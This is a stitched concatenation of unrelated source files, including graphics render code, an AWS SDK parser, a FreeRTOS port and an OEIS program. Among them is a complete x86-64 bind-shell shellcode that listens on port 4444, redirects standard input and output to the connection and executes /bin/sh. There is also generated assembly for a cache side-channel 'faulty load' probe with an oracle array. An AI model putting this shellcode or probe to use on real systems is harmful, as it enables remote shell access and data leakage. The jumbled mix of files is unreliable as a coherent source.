'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
// // RenderForwardTask.cpp // render-utils/src/ // // Created by Zach Pomerantz on 12/13/2016. // Copyright 2016 High Fidelity, Inc. // // Distributed under the Apache License, Version 2.0. // See the accompanying file LICENSE or http://www.apache.org/licenses/LICENSE-2.0.html // #include "RenderForwardTask.h" #include <PerfStat.h> #include <PathUtils.h> #include <ViewFrustum.h> #include <gpu/Context.h> #include <gpu/Texture.h> #include <graphics/ShaderConstants.h> #include <render/ShapePipeline.h> #include <render/FilterTask.h> #include "RenderHifi.h" #include "render-utils/ShaderConstants.h" #include "StencilMaskPass.h" #include "ZoneRenderer.h" #include "FadeEffect.h" #include "ToneMappingEffect.h" #include "BackgroundStage.h" #include "FramebufferCache.h" #include "TextureCache.h" #include "RenderCommonTask.h" namespace ru { using render_utils::slot::texture::Texture; using render_utils::slot::buffer::Buffer; } namespace gr { using graphics::slot::texture::Texture; using graphics::slot::buffer::Buffer; } using namespace render; extern void initForwardPipelines(ShapePlumber& plumber); void RenderForwardTask::build(JobModel& task, const render::Varying& input, render::Varying& output) { // Prepare the ShapePipelines auto fadeEffect = DependencyManager::get<FadeEffect>(); ShapePlumberPointer shapePlumber = std::make_shared<ShapePlumber>(); initForwardPipelines(*shapePlumber); // Unpack inputs const auto& inputs = input.get<Input>(); // Separate the fetched items const auto& fetchedItems = inputs.get0(); const auto& items = fetchedItems.get0(); // Extract opaques / transparents / lights / metas / overlays / background const auto& opaques = items[RenderFetchCullSortTask::OPAQUE_SHAPE]; const auto& transparents = items[RenderFetchCullSortTask::TRANSPARENT_SHAPE]; const auto& metas = items[RenderFetchCullSortTask::META]; const auto& overlaysInFrontOpaque = items[RenderFetchCullSortTask::LAYER_FRONT_OPAQUE_SHAPE]; const auto& overlaysInFrontTransparent = items[RenderFetchCullSortTask::LAYER_FRONT_TRANSPARENT_SHAPE]; // TODO: Re enable the rendering of the HUD overlayes // const auto& overlaysHUDOpaque = items[RenderFetchCullSortTask::LAYER_HUD_OPAQUE_SHAPE]; // const auto& overlaysHUDTransparent = items[RenderFetchCullSortTask::LAYER_HUD_TRANSPARENT_SHAPE]; // Lighting model comes next, the big configuration of the view const auto& lightingModel = inputs[1]; // Extract the Lighting Stages Current frame ( and zones) const auto& lightingStageInputs = inputs.get2(); // Fetch the current frame stacks from all the stages const auto currentStageFrames = lightingStageInputs.get0(); const auto lightFrame = currentStageFrames[0]; const auto backgroundFrame = currentStageFrames[1]; const auto& zones = lightingStageInputs[1]; // First job, alter faded fadeEffect->build(task, opaques); // Prepare objects shared by several jobs const auto deferredFrameTransform = task.addJob<GenerateDeferredFrameTransform>("DeferredFrameTransform"); // GPU jobs: Start preparing the main framebuffer const auto framebuffer = task.addJob<PrepareFramebuffer>("PrepareFramebuffer"); task.addJob<PrepareForward>("PrepareForward", lightFrame); // draw a stencil mask in hidden regions of the framebuffer. task.addJob<PrepareStencil>("PrepareStencil", framebuffer); // Layered Overlays const auto nullJitter = Varying(glm::vec2(0.0f, 0.0f)); // Layered Over (in front) const auto overlayInFrontOpaquesInputs = DrawOverlay3D::Inputs(overlaysInFrontOpaque, lightingModel, nullJitter).asVarying(); const auto overlayInFrontTransparentsInputs = DrawOverlay3D::Inputs(overlaysInFrontTransparent, lightingModel, nullJitter).asVarying(); task.addJob<DrawOverlay3D>("DrawOverlayInFrontOpaque", overlayInFrontOpaquesInputs, true); task.addJob<DrawOverlay3D>("DrawOverlayInFrontTransparent", overlayInFrontTransparentsInputs, false); // Draw opaques forward const auto opaqueInputs = DrawForward::Inputs(opaques, lightingModel).asVarying(); task.addJob<DrawForward>("DrawOpaques", opaqueInputs, shapePlumber); // Similar to light stage, background stage has been filled by several potential render items and resolved for the frame in this job const auto backgroundInputs = DrawBackgroundStage::Inputs(lightingModel, backgroundFrame).asVarying(); task.addJob<DrawBackgroundStage>("DrawBackgroundForward", backgroundInputs); // Draw transparent objects forward const auto transparentInputs = DrawForward::Inputs(transparents, lightingModel).asVarying(); task.addJob<DrawForward>("DrawTransparents", transparentInputs, shapePlumber); { // Debug the bounds of the rendered items, still look at the zbuffer task.addJob<DrawBounds>("DrawMetaBounds", metas); task.addJob<DrawBounds>("DrawBounds", opaques); task.addJob<DrawBounds>("DrawTransparentBounds", transparents); task.addJob<DrawBounds>("DrawZones", zones); const auto debugZoneInputs = DebugZoneLighting::Inputs(deferredFrameTransform, lightFrame, backgroundFrame).asVarying(); task.addJob<DebugZoneLighting>("DrawZoneStack", debugZoneInputs); } // Lighting Buffer ready for tone mapping // Forward rendering on GLES doesn't support tonemapping to and from the same FBO, so we specify // the output FBO as null, which causes the tonemapping to target the blit framebuffer const auto toneMappingInputs = ToneMappingDeferred::Inputs(framebuffer, static_cast<gpu::FramebufferPointer>(nullptr) ).asVarying(); task.addJob<ToneMappingDeferred>("ToneMapping", toneMappingInputs); // Layered Overlays // Composite the HUD and HUD overlays task.addJob<CompositeHUD>("HUD"); // Disable blit because we do tonemapping and compositing directly to the blit FBO // Blit! // task.addJob<Blit>("Blit", framebuffer); } void PrepareFramebuffer::run(const RenderContextPointer& renderContext, gpu::FramebufferPointer& framebuffer) { glm::uvec2 frameSize(renderContext->args->_viewport.z, renderContext->args->_viewport.w); // Resizing framebuffers instead of re-building them seems to cause issues with threaded rendering if (_framebuffer && _framebuffer->getSize() != frameSize) { _framebuffer.reset(); } if (!_framebuffer) { _framebuffer = gpu::FramebufferPointer(gpu::Framebuffer::create("forward")); auto colorFormat = gpu::Element::COLOR_SRGBA_32; auto defaultSampler = gpu::Sampler(gpu::Sampler::FILTER_MIN_MAG_POINT); auto colorTexture = gpu::Texture::createRenderBuffer(colorFormat, frameSize.x, frameSize.y, gpu::Texture::SINGLE_MIP, defaultSampler); _framebuffer->setRenderBuffer(0, colorTexture); auto depthFormat = gpu::Element(gpu::SCALAR, gpu::UINT32, gpu::DEPTH_STENCIL); // Depth24_Stencil8 texel format auto depthTexture = gpu::Texture::createRenderBuffer(depthFormat, frameSize.x, frameSize.y, gpu::Texture::SINGLE_MIP, defaultSampler); _framebuffer->setDepthStencilBuffer(depthTexture, depthFormat); } auto args = renderContext->args; gpu::doInBatch("PrepareFramebuffer::run", args->_context, [&](gpu::Batch& batch) { batch.enableStereo(false); batch.setViewportTransform(args->_viewport); batch.setStateScissorRect(args->_viewport); batch.setFramebuffer(_framebuffer); batch.clearFramebuffer(gpu::Framebuffer::BUFFER_COLOR0 | gpu::Framebuffer::BUFFER_DEPTH | gpu::Framebuffer::BUFFER_STENCIL, vec4(vec3(0), 0), 1.0, 0, true); }); framebuffer = _framebuffer; } void PrepareForward::run(const RenderContextPointer& renderContext, const Inputs& inputs) { RenderArgs* args = renderContext->args; gpu::doInBatch("RenderForward::Draw::run", args->_context, [&](gpu::Batch& batch) { args->_batch = &batch; graphics::LightPointer keySunLight; auto lightStage = args->_scene->getStage<LightStage>(); if (lightStage) { keySunLight = lightStage->getCurrentKeyLight(*inputs); } graphics::LightPointer keyAmbiLight; if (lightStage) { keyAmbiLight = lightStage->getCurrentAmbientLight(*inputs); } if (keySunLight) { batch.setUniformBuffer(gr::Buffer::KeyLight, keySunLight->getLightSchemaBuffer()); } if (keyAmbiLight) { batch.setUniformBuffer(gr::Buffer::AmbientLight, keyAmbiLight->getAmbientSchemaBuffer()); if (keyAmbiLight->getAmbientMap()) { batch.setResourceTexture(ru::Texture::Skybox, keyAmbiLight->getAmbientMap()); } } }); } void DrawForward::run(const RenderContextPointer& renderContext, const Inputs& inputs) { RenderArgs* args = renderContext->args; const auto& inItems = inputs.get0(); const auto& lightingModel = inputs.get1(); gpu::doInBatch("DrawForward::run", args->_context, [&](gpu::Batch& batch) { args->_batch = &batch; // Setup projection glm::mat4 projMat; Transform viewMat; args->getViewFrustum().evalProjectionMatrix(projMat); args->getViewFrustum().evalViewTransform(viewMat); batch.setProjectionTransform(projMat); batch.setViewTransform(viewMat); batch.setModelTransform(Transform()); // Setup lighting model for all items; batch.setUniformBuffer(ru::Buffer::LightModel, lightingModel->getParametersBuffer()); // From the lighting model define a global shapeKey ORED with individiual keys ShapeKey::Builder keyBuilder; if (lightingModel->isWireframeEnabled()) { keyBuilder.withWireframe(); } ShapeKey globalKey = keyBuilder.build(); args->_globalShapeKey = globalKey._flags.to_ulong(); // Render items renderStateSortShapes(renderContext, _shapePlumber, inItems, -1, globalKey); args->_batch = nullptr; args->_globalShapeKey = 0; }); }
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r9 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x109d2, %rsi nop nop nop sub %r13, %r13 mov (%rsi), %ebp nop nop nop nop dec %rax lea addresses_WC_ht+0x1db52, %rsi lea addresses_normal_ht+0x1d1f4, %rdi nop nop nop nop add %r9, %r9 mov $80, %rcx rep movsl nop inc %rbp lea addresses_A_ht+0x9ad2, %rsi lea addresses_normal_ht+0x19292, %rdi nop nop nop cmp %rbx, %rbx mov $75, %rcx rep movsw sub %rcx, %rcx lea addresses_WT_ht+0x1ebd2, %rdi nop nop nop nop nop cmp $64737, %rax mov $0x6162636465666768, %r9 movq %r9, %xmm7 movups %xmm7, (%rdi) nop nop nop nop xor $19404, %r13 lea addresses_WT_ht+0x19a32, %r13 nop nop and %rax, %rax movl $0x61626364, (%r13) nop and %rax, %rax lea addresses_UC_ht+0x5e16, %rdi and $53579, %rbx mov (%rdi), %cx nop nop nop nop nop add $64476, %rbx lea addresses_D_ht+0xc3d2, %rsi lea addresses_normal_ht+0x15cd2, %rdi nop nop and $63775, %rbx mov $75, %rcx rep movsq nop nop nop nop cmp $44542, %r13 lea addresses_WT_ht+0x1e80, %rcx xor %rbx, %rbx movw $0x6162, (%rcx) nop nop add %rax, %rax lea addresses_D_ht+0x10952, %rsi lea addresses_WT_ht+0x1a7aa, %rdi nop nop nop nop sub %r13, %r13 mov $126, %rcx rep movsw nop nop nop and $15181, %rbp pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r9 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %r8 push %rcx push %rdi push %rdx // Store lea addresses_A+0xe3da, %rdx nop nop xor %r15, %r15 movb $0x51, (%rdx) nop nop nop cmp $13217, %r8 // Store lea addresses_WC+0x19392, %rcx nop nop and $7148, %rdi movl $0x51525354, (%rcx) nop sub $52740, %rcx // Store mov $0xb52, %rdi xor %r8, %r8 movb $0x51, (%rdi) nop nop nop nop add $20091, %rdx // Load lea addresses_WC+0x11aea, %rcx nop nop nop nop dec %rdx mov (%rcx), %edi nop nop nop nop nop cmp $45570, %r12 // Store lea addresses_PSE+0xd712, %rdi nop nop nop nop nop add %r12, %r12 movb $0x51, (%rdi) nop sub $8458, %r15 // Faulty Load lea addresses_WC+0x8bd2, %rdx clflush (%rdx) nop nop nop nop nop xor %rcx, %rcx mov (%rdx), %r8d lea oracles, %r10 and $0xff, %r8 shlq $12, %r8 mov (%r10,%r8,1), %r8 pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_P'}} {'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_PSE'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': True, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
global _start _start: ;mov rax, 41 ;mov rdi, 2 ;mov rsi, 1 ;mov rdx, 0 ; clear rax and use its lower 8 bits to zero other registers used ; for the socket syscall with number 41 xor rax, rax mov dil, 2 ; set %rdi to AF_INET mov sil, al inc sil ; set %rsi to SOCK_STREAM mov dl, al ; set %rdx to 0 add rax, 41 ; set %rax to 41, socket syscall syscall ; copy socket descriptor to rdi for future use mov rdi, rax ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = INADDR_ANY ; bzero(&server.sin_zero, 8) xor rax, rax push rax ; mov dword [rsp-4], eax ; mov word [rsp-6], 0x5c11 ; mov word [rsp-8], 0x2 push rax ; push another 8 bytes of 0 onto the stack mov word [rsp+2], 0x5c11 ; push 2 bytes for the port mov byte [rsp], 0x2 ; push a single byte for the inet family ; bind(sock, (struct sockaddr *)&server, sockaddr_len) ; syscall number 49 ; mov rax, 49 xor rax, rax mov al, 49 mov rsi, rsp ; mov rdx, 16 xor rdx, rdx add rdx, 16 syscall ; listen(sock, MAX_CLIENTS) ; syscall number 50 ; mov rax, 50 ; mov rsi, 2 xor rax, rax mov sil, al mov al, 50 add sil, 2 syscall ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len) ; syscall number 43 ; mov rax, 43 xor rax, rax mov al, 43 sub rsp, 16 mov rsi, rsp mov byte [rsp-1], 16 sub rsp, 1 mov rdx, rsp syscall ; store the client socket description mov r9, rax ; close parent ;mov rax, 3 sub rax, rax ; just do something different to clear %rax by subtracting it from itself inc al ; and incrementing the first byte 1 at a time inc al inc al syscall ; duplicate sockets ; dup2 (new, old) mov rdi, r9 ;mov rax, 33 xor rcx, rcx mov al, cl add al, 33 ;mov rsi, 0 xor rsi, rsi syscall ;mov rax, 33 ;mov rsi, 1 xor rax, rax mov sil, al add al, 33 inc sil syscall ; mov rax, 33 ; mov rsi, 2 xor rax, rax mov sil, al add al, 33 inc sil inc sil syscall ; execve ; First NULL push xor rax, rax push rax ; push /bin//sh in reverse mov rbx, 0x68732f2f6e69622f push rbx ; store /bin//sh address in RDI mov rdi, rsp ; Second NULL push push rax ; set RDX mov rdx, rsp ; Push address of /bin//sh push rdi ; set RSI mov rsi, rsp ; Call the Execve syscall add rax, 59 syscall
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #include <aws/servicecatalog/model/DescribeProvisioningArtifactResult.h> #include <aws/core/utils/json/JsonSerializer.h> #include <aws/core/AmazonWebServiceResult.h> #include <aws/core/utils/StringUtils.h> #include <aws/core/utils/UnreferencedParam.h> #include <utility> using namespace Aws::ServiceCatalog::Model; using namespace Aws::Utils::Json; using namespace Aws::Utils; using namespace Aws; DescribeProvisioningArtifactResult::DescribeProvisioningArtifactResult() : m_status(Status::NOT_SET) { } DescribeProvisioningArtifactResult::DescribeProvisioningArtifactResult(const Aws::AmazonWebServiceResult<JsonValue>& result) : m_status(Status::NOT_SET) { *this = result; } DescribeProvisioningArtifactResult& DescribeProvisioningArtifactResult::operator =(const Aws::AmazonWebServiceResult<JsonValue>& result) { JsonView jsonValue = result.GetPayload().View(); if(jsonValue.ValueExists("ProvisioningArtifactDetail")) { m_provisioningArtifactDetail = jsonValue.GetObject("ProvisioningArtifactDetail"); } if(jsonValue.ValueExists("Info")) { Aws::Map<Aws::String, JsonView> infoJsonMap = jsonValue.GetObject("Info").GetAllObjects(); for(auto& infoItem : infoJsonMap) { m_info[infoItem.first] = infoItem.second.AsString(); } } if(jsonValue.ValueExists("Status")) { m_status = StatusMapper::GetStatusForName(jsonValue.GetString("Status")); } return *this; }
; A021929: Decimal expansion of 1/925. ; 0,0,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1 lpb $0,1 pow $0,4 sub $0,1 lpe mov $1,$0 add $1,$0 mod $1,3 pow $1,3
sty $ff cpz $ff bcc {la1}
;/* ; * FreeRTOS Kernel <DEVELOPMENT BRANCH> ; * Copyright (C) 2021 Amazon.com, Inc. or its affiliates. All Rights Reserved. ; * ; * SPDX-License-Identifier: MIT ; * ; * Permission is hereby granted, free of charge, to any person obtaining a copy of ; * this software and associated documentation files (the "Software"), to deal in ; * the Software without restriction, including without limitation the rights to ; * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of ; * the Software, and to permit persons to whom the Software is furnished to do so, ; * subject to the following conditions: ; * ; * The above copyright notice and this permission notice shall be included in all ; * copies or substantial portions of the Software. ; * ; * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS ; * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR ; * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER ; * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN ; * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ; * ; * https://www.FreeRTOS.org ; * https://github.com/FreeRTOS ; * ; */ ; * The definition of the "register test" tasks, as described at the top of ; * main.c .include data_model.h .global xTaskIncrementTick .global vTaskSwitchContext .global vPortSetupTimerInterrupt .global pxCurrentTCB .global usCriticalNesting .def vPortPreemptiveTickISR .def vPortCooperativeTickISR .def vPortYield .def xPortStartScheduler ;----------------------------------------------------------- portSAVE_CONTEXT .macro ;Save the remaining registers. pushm_x #12, r15 mov.w &usCriticalNesting, r14 push_x r14 mov_x &pxCurrentTCB, r12 mov_x sp, 0( r12 ) .endm ;----------------------------------------------------------- portRESTORE_CONTEXT .macro mov_x &pxCurrentTCB, r12 mov_x @r12, sp pop_x r15 mov.w r15, &usCriticalNesting popm_x #12, r15 nop pop.w sr nop ret_x .endm ;----------------------------------------------------------- ;* ;* The RTOS tick ISR. ;* ;* If the cooperative scheduler is in use this simply increments the tick ;* count. ;* ;* If the preemptive scheduler is in use a context switch can also occur. ;*/ .text .align 2 vPortPreemptiveTickISR: .asmfunc ; The sr is not saved in portSAVE_CONTEXT() because vPortYield() needs ;to save it manually before it gets modified (interrupts get disabled). push.w sr portSAVE_CONTEXT call_x #xTaskIncrementTick call_x #vTaskSwitchContext portRESTORE_CONTEXT .endasmfunc ;----------------------------------------------------------- .align 2 vPortCooperativeTickISR: .asmfunc ; The sr is not saved in portSAVE_CONTEXT() because vPortYield() needs ;to save it manually before it gets modified (interrupts get disabled). push.w sr portSAVE_CONTEXT call_x #xTaskIncrementTick portRESTORE_CONTEXT .endasmfunc ;----------------------------------------------------------- ; ; Manual context switch called by the portYIELD() macro. ; .align 2 vPortYield: .asmfunc ; The sr needs saving before it is modified. push.w sr ; Now the SR is stacked we can disable interrupts. dint nop ; Save the context of the current task. portSAVE_CONTEXT ; Select the next task to run. call_x #vTaskSwitchContext ; Restore the context of the new task. portRESTORE_CONTEXT .endasmfunc ;----------------------------------------------------------- ; ; Start off the scheduler by initialising the RTOS tick timer, then restoring ; the context of the first task. ; .align 2 xPortStartScheduler: .asmfunc ; Setup the hardware to generate the tick. Interrupts are disabled ; when this function is called. call_x #vPortSetupTimerInterrupt ; Restore the context of the first task that is going to run. portRESTORE_CONTEXT .endasmfunc ;----------------------------------------------------------- 